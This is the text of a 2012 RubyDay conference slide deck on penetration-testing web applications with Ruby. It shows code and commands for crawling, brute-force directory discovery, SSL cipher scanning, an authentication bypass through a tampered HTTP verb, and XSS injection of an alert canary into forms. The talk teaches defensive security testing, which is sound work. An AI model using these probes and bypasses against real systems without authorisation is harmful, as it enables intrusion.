What to test? 5 class Developer # a bunch of great # methods here end class Developer include Person::Attacker # a plenty of great # methods here end Change your mindset. You’re an attacker now! Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 What to test? 6 class Developer include Person::Attacker # a plenty of great # methods here end Your app is a black box You must gather informations about it You don’t have credentials Ooh look... a web form... Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Leverage your attack surface 7 “It’s my web application. I don’t even promote it. I have all the informations about it, what are you talking about?” Spot attack entrypoints Deep knowledge of the underlying technology Check transport layer security Check for the service door Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Leverage your attack surface 9 “Just a bunch of ruby loc away...” # TESTING: SPIDERS, ROBOTS, AND CRAWLERS (OWASP-IG-001) def self.robots(site, only_disallow=true) if (! site.start_with? 'http://') and (! site.start_with? 'https://') site = 'http://'+site end list = [] begin res=Net::HTTP.get_response(URI(site+'/robots.txt')) if (res.code != "200") return [] end res.body.split("\n").each do |line| if only_disallow if (line.downcase.start_with?('disallow')) list << line.split(":")[1].strip.chomp end else if (line.downcase.start_with?('allow') or line.downcase.start_with?('disallow')) list << line.split(":")[1].strip.chomp end end end rescue return [] end list end $ gem install links $ links -r http://www.yourtarget.com Friday, June 15, 12
event name 11 $ gem install anemone require 'anemone' Anemone.crawl("http://www.target.com/") do |anemone| anemone.on_every_page do |page| puts page.url end end • Search engines crawl your site they are polite, you can ask not to do it • Attackers crawl your site... they are not polite. Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Build a transparent proxy 13 Sometimes you need to observe the requests your browser makes while using a website... async calls are so sweets... $ gem install casper $ casper Useful to check javascripts or urls called on going... while manual browsing your target site Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 enchant: brute force discovery 16 Very intrusive attack... discover web directories using brute force. You’ll be busted $ gem install enchant $ enchant http://www.yourtarget.com Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 SSL Testing 20 def go context=OpenSSL::SSL::SSLContext.new(@proto) cipher_set = context.ciphers cipher_set.each do |cipher_name, cipher_version, bits, algorithm_bits| request = Net::HTTP.new(@host, @port) request.use_ssl = true request.verify_mode = OpenSSL::SSL::VERIFY_NONE request.ciphers= cipher_name begin response = request.get("/") @ok_bits << bits @ok_ciphers << cipher_name rescue OpenSSL::SSL::SSLError => e # Quietly discard SSLErrors, really I don't care if the cipher has # not been accepted rescue # Quietly discard all other errors... you must perform all error # chekcs in the calling program end end end protocol_version.each do |version| s = Ciphersurfer::Scanner.new({:host=>host, :port=>port, :proto=>version}) s.go if (s.ok_ciphers.size != 0) supported_protocols << version cipher_bits = cipher_bits | s.ok_bits ciphers = ciphers | s.ok_ciphers end end Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Bypass authentication 24 A case study for a PHP 5.3 application using basic auth: with a tampered HTTP verb you can access to protected urls require 'net/http' class Dammi < Net::HTTPRequest METHOD="DAMMI" REQUEST_HAS_BODY = false RESPONSE_HAS_BODY = true end Create a custom HTTP verb http=Net::HTTP.new('www.mytarget.nonexistent', 80) r_a = http.request(Dammi.new("/backend/index.php")) puts r_a.body Make the request Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Cross site scripting 25 Executing arbitrary javascript code at client site by submitting a crafted parameter on a web form Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Cross site scripting 26 $ gem install cross $ cross http://www.yourtarget.com module Cross # Engine is the cross class using Mechanize to inject canary and check for # output class Engine include Singleton attr_reader :agent # Starts the engine def start @agent = Mechanize.new {|a| a.log = Logger.new("cross.log")} @agent.user_agent_alias = 'Mac Safari' end def inject(url) found = false page = @agent.get(url) page.forms.each do |f| f.fields.each do |ff| ff.value = "alert('cross canary');" end pp = @agent.submit(f) scripts = pp.search("//script") scripts.each do |sc| if sc.children.text == "alert('cross canary');" found = true end end end found end end end Friday, June 15, 12
What we learnt 29 • Don’t trust your users • “Security through obscurity” is EVIL • Testing for security issues is a mandatory step before deploy • HTTPS won’t safe from XSS or SQL Injections • Friday, June 15, 12
RubyDay IT, Milan, 15 June 2012 Some links before we leave 30 http://armoredcode.com/blog/categories/pentest-with-ruby/ https://github.com/thesp0nge/enchant https://github.com/thesp0nge/links https://github.com/thesp0nge/ciphersurfer http://ronin-ruby.github.com/ https://github.com/rapid7/metasploit-framework https://gist.github.com/2935464 (gist for anemone crawling demo) http://www.owasp.org https://github.com/thesp0nge/cross Friday, June 15, 12